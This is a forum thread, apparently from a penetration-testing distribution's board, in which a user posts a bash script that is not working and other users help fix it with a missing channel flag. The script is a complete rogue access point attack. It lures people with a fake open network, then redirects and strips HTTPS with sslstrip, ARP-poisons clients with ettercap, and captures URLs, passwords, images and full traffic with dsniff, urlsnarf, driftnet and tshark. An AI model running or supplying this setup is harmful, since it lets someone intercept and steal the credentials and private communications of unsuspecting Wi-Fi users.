Results 1 to 5 of 5

Thread: Airbase-NG Script Isse

Hybrid View

  1. #1
    Just burned his ISO l3g10n's Avatar
    Join Date
    Feb 2010
    Posts
    13

    Default Airbase-NG Script Isse

    I was able to use this script without any issues in BT4 Final, but for some reason, clients won't associate to the fake access point it creates in R1 and R2. I am using the RTL8187 chipset (High Power Alfa). Any ideas???



    WifiMitm-New.sh

    Code:
    #!/bin/bash
    LOGDIR="$(date +%F-%H%M)"
    mkdir $LOGDIR
    cd $LOGDIR
    
    killall -9 dhcpd3 airbase-ng ettercap sslstrip driftnet urlsnarf tail 
    
    echo 'Network Interfaces:'
    ifconfig | grep Link
    echo -n "Enter the name of the interface connected to the internet, for example eth0: "
    read -e IFACE
    airmon-ng
    echo -n "Enter your wireless interface name, for example wlan0: "
    read -e WIFACE
    echo -n "Enter the ESSID you would like your rogue AP to be called, for example Free WiFi: "
    read -e ESSID
    airmon-ng stop $WIFACE
    ifconfig $WIFACE down
    airmon-ng start $WIFACE
    ifconfig $WIFACE up
    
    modprobe tun
    
    #airbase-ng is going to create our fake AP with the SSID we specified
    airbase-ng -e "$ESSID" -P -C 30 -v mon0  > airbase.log &
    xterm -bg black -fg yellow -T airbase-ng -e tail -f airbase.log &
    
    sleep 10
    
    echo Configuring interface created by airdrop-ng
    ifconfig at0 up
    ifconfig at0 10.0.0.1 netmask 255.255.255.0 
    ifconfig at0 mtu 1400
    route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
    
    echo 'Setting up iptables to handle traffic seen by the airdrop-ng (at0) interface'
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
    iptables -P FORWARD ACCEPT
    iptables -t nat -A POSTROUTING -o $IFACE -j MASQUERADE
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
    iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10000
    
    echo Creating a dhcpd.conf to assign addresses to clients that connect to us
    echo "default-lease-time 600;" > dhcpd.conf
    echo "max-lease-time 720;"  >> dhcpd.conf
    echo "ddns-update-style none;" >> dhcpd.conf
    echo "authoritative;"  >> dhcpd.conf
    echo "log-facility local7;"  >> dhcpd.conf
    echo "subnet 10.0.0.0 netmask 255.255.255.0 {"  >> dhcpd.conf
    echo "range 10.0.0.100 10.0.0.254;"  >> dhcpd.conf
    echo "option routers 10.0.0.1;"  >> dhcpd.conf
    echo "option domain-name-servers 8.8.8.8;"  >> dhcpd.conf
    echo "}"  >> dhcpd.conf
    
    echo 'DHCP server starting on our airdrop-ng interface (at0)'
    dhcpd3 -f -cf dhcpd.conf at0 &
    echo "Launching DMESG"
    xterm -bg black -fg red -T "System Logs" -e tail -f /var/log/messages &
    echo "Launching ettercap, poisoning all hosts on the at0 interface's subnet"
    xterm -bg black -fg blue -e ettercap -T -q -p -l ettercap.log -i at0 // // &
    sleep 8
    
    echo 'Configuring ip forwarding'
    echo "1" > /proc/sys/net/ipv4/ip_forward
    
    echo 'Launching various tools'
    sslstrip -a -k -f &
    driftnet -v -i at0 &
    xterm  -bg black -fg green -e urlsnarf  -i at0 &
    dsniff -m -i at0 -d -w dsniff.log &
    tshark -i at0 -w traffic.pcap &

  2. #2
    Just burned his ISO
    Join Date
    Dec 2010
    Posts
    2

    Default Riferimento: Airbase-NG Script Isse

    try to add a channel or the fake ap will use channel 255.

  3. #3
    Junior Member
    Join Date
    Aug 2010
    Posts
    64

    Default Re: Airbase-NG Script Isse

    You can always look at your script next to my script to see what issues you may be having.

    MY TOOL

  4. #4
    Just burned his ISO l3g10n's Avatar
    Join Date
    Feb 2010
    Posts
    13

    Default Re: Riferimento: Airbase-NG Script Isse

    Quote Originally Posted by BlackBit View Post
    try to add a channel or the fake ap will use channel 255.
    Thanks! That was it!!! I added a -c 6 to the airbase command.

    #!/bin/bash #Updated 12/12/2010 by l3g10n LOGD - WifiMitm-New

    @sLiPpErY I'm really impressed w/ your script!

  5. #5
    Junior Member
    Join Date
    Aug 2010
    Posts
    64

    Default Re: Airbase-NG Script Isse

    Thanks! Feel free to use anything in there for your pleasure - I'm always looking for partners to help me expand the tool .

Similar Threads

  1. Using Airbase-ng
    By lex0429 in forum Beginners Forum
    Replies: 3
    Last Post: 10-17-2010, 03:59 PM
  2. Replies: 6
    Last Post: 10-08-2010, 11:40 PM
  3. Replies: 10
    Last Post: 07-12-2010, 03:04 PM
  4. airbase-ng
    By crashok in forum OLD Newbie Area
    Replies: 5
    Last Post: 01-15-2009, 09:59 AM
  5. airbase-ng
    By level in forum OLD Wireless
    Replies: 4
    Last Post: 04-22-2008, 01:20 PM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •